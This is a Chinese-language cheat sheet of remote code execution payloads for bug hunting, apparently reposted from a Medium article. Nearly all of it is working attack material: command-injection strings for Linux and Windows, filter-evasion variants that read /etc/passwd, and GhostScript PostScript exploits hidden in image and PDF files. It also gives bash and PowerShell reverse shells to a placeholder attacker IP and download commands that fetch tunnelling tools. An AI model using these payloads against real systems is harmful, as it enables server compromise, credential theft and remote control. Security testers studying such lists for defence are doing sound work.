干货漏洞挖掘中RCE漏洞常用的Payload总结

　　RCE：远程代码执行 (RCE) 使攻击者能够通过  注入攻击 执行恶意代码。代码注入攻击不同于  命令注入 攻击。攻击者的能力取决于服务器端解释器的限制。在某些情况下，攻击者可能能够从代码注入升级为命令注入。远程代码评估可能导致易受攻击的 Web 应用程序和 Web 服务器的全面妥协. 需要注意的是，几乎每种编程语言都有代码评估功能。
　　如何寻找 RCE：
　　Top 46 RCE 参数 : exec={payload} command={payload} execute{payload} ping={payload} include={payload} exclude={payload} jump={payload} code={payload} reg={payload} do={payload} func={payload} arg={payload} option={payload} load={payload} process={payload} step={payload} read={payload} function={payload} req={payload} feature={payload} exe={payload} module={payload} payload={payload} run={payload} print={payload} email={payload} id={payload} username={payload} user={payload} to={payload} from={payload} search={payload} query={payload} q={payload} s={payload} shopId={payload} blogId={payload} phone={payload} mode={payload} next={payload} firstname={payload} lastname={payload} locale={payload} cmd={payload} sys={payload} system={payload}
　　Linux RCE
　　Payload list: id ,id ;id ;id; ＂id＂ ＂id＂ ＂＂id ＂＂id＂＂ ＂＂id＂＂& *id *id* **id** (id) `id` `id`& `id` & ;id| ;|id| |id |id| ||id ||id| ||id; |id; &id &id& &&id &&id&& ^id  system(＂cat /etc/passwd＂); <?php system(＂cat /etc/passwd＂);?> php -r ＂var_dump(exec(＂id＂));＂ /bin$u/bash$u   cat$u+/etc$u/passwd$u ＂;cat+/etc/passwd+# ;+$u+cat+/etc$u/passwd$u ;+$u+cat+/etc$u/passwd+# /???/??t+/???/??ss?? /?in/cat+/et?/passw? ;+cat+/e＂tc/pass＂wd cat+/etc/passwd cat /etc$u/passwd (sy.(st).em)(whoami); ;cat+/etc/passwd ;cat+/etc/passwd+# ;cat$u+/etc$u/passwd$u ;cat%20/etc/passwd ;cat /e${hahaha}tc/${heywaf}pas${catchthis}swd ;cat$u /etc$u/passwd$u ;{cat,/etc/passwd} ;cat /dev/tcp/yourip/yourport 0<&1 2>&1＂ pop graphic-context pop graphic-context 3. %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%ncat yourip yourport -e /bin/sh) currentdevice putdeviceprops 4. %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%bash -c ＂bash -i >& /dev/tcp/yourip/yourport 0>&1＂) currentdevice putdeviceprops
　　保存poc.xml: <?xml version=＂1.0＂ standalone=＂no＂?>  
　　GhostScript Rce:nc -nvlp 1337
　　保存 test.gif or test.jpg 1. %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%bash -c ＂bash -i >& /dev/tcp/yourip/yourport 0>&1＂) currentdevice putdeviceprops 2. %!PS 0 1 300367 {} for {save restore} stopped {} if (%pipe%bash -c ＂bash -i >& /dev/tcp/yourip/yourport 0>&1＂) (w) file 3. %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%bash -c ＂bash -i >& /dev/tcp/yourip/yourport 0>&1＂) currentdevice putdeviceprops 4. %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%curl http://inputburpcollaborator) currentdevice putdeviceprops保存 poc.pdf%!PS currentdevice null true mark /OutputICCProfile (%pipe%curl http://inputburpcollaborator) .putdeviceparams quit
　　下面这个github项目最适合在上传功能上查找 Rce 错误
　　https://github.com/modzero/mod0BurpUploadScanner.git
　　PHPGGC：PHP 通用小工具链：
　　该工具允许您生成payload，而无需执行查找小工具和组合它们的繁琐步骤。它可以看作是frohoff 的 ysoserial的等价物，但对于 PHP。目前，该工具支持的小工具链包括：CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework
　　这个最适合查找 rce漏洞（框架/库）：
　　https://github.com/ambionics/phpggc
　　Windows RCE
　　Payload list: ＂.system(＂dir＂).＂ ＂ dir ＂ || dir ＂ & dir ＂ && dir ＂; dir ＂ dir ＂ || dir ＂ | dir ＂ & dir ＂ && dir ＂; dir dir $(`dir`) &&dir | dir C: ; dir C: & dir C: && dir C: dir C: | dir ; dir & dir && dir| ipconfig /all ; ipconfig /all & ipconfig /all && ipconfig /all ipconfig /all|| phpinfo() | phpinfo()  {${phpinfo()}} ;phpinfo() ;phpinfo();// ＂;phpinfo();// {${phpinfo()}} & phpinfo() && phpinfo() phpinfo() phpinfo();转义所有危险字符时的RCE payload:%27%20dir %27%20%7C%7C%20dir %27%20%26%20dir %27%20%26%26%20dir %27%3B%20dir %22%20dir %22%20%7C%7C%20dir %22%20%7C%20dir %22%20%26%20dir %22%20%26%26%20dir %22%3B%20dir %22.system%28%27dir%27%29.%22 %24%28%60dir%60%29 %26%26dir %7C%20dir%20C%3A%5C %3B%20dir%20C%3A%5C %26%20dir%20C%3A%5C %26%26%20dir%20C%3A%5C dir%20C%3A%5C %7C%20dir %3B%20dir %26%20dir %26%26%20dir +dir+c:+| +|+dir+c:+| +|+dir+c:%2f+| dir+c: ||+dir|c: +|+Dir+c: +|+Dir+c:%255c +|+Dir+c:%2f $+|+Dir+c: $+|+Dir+c:%255c $+|+Dir+c:%2f %26%26+|+dir c: %0a+dir+c: %26%26+|+dir c:%2f $%26%26dir+c:%2f %0a+dir+c:%2f %0a+dir+c:%255c $%26%26dir c: %26%26+|+dir c:%255c $%26%26dir+c:%255c %20{${phpinfo()}}
　　反弹shell:
　　nc -nvlp 443 powershell -c ＂$client = New-Object System.Net.Sockets.TCPClient(＂your ip＂,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.T ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + ＂PS ＂ + (pwd).Path + ＂> ＂;$sendbyte = ([text.encoding]::ASCII ).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$c lient.Close()＂ or powershell -NoP -NonI -W Hidden -Exec Bypass ＂& {$ps=$false;$hostip=＂your ip＂;$port=443;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq ＂$ps＂) -and ($ps -eq $false)){$ps=$true}if($item -like ＂?:＂){$item=＂d:＂}$myArray=@(＂cd＂,＂exit＂,＂d:＂,＂pwd＂,＂ls＂,＂ps＂,＂rm＂,＂cp＂,＂mv＂,＂cat＂);$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2=＂/c ＂+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt=＂PS ＂ + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + ＂> ＂;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}＂反弹shell生成器：https://www.revshells.com文件下载:powershell -c ＂(new-object System.Net.WebClient).DownloadFile(＂https://eternallybored.org/misc/wget/1.21.1/64/wget.exe＂,＂C:UsersadminDesktopwget.exe＂)＂ powershell iwr -uri http://10.10.16.97:8000/chisel.exe -outfile ch.exe # also works in PS ConstrainLanguageMode
　　Rce（Unix 和 windows）的最佳 burpsuite 扩展:
　　https://github.com/ewilded/shelling
　　最佳的命令注入利用工具:
　　https://github.com/commixproject/commix
　　Happy Hacking!
　　文章转自HACK学习呀
　　文章来源：
　　https://ansar0047.medium.com/remote-code-execution-unix-and-windows-4ed3367158b3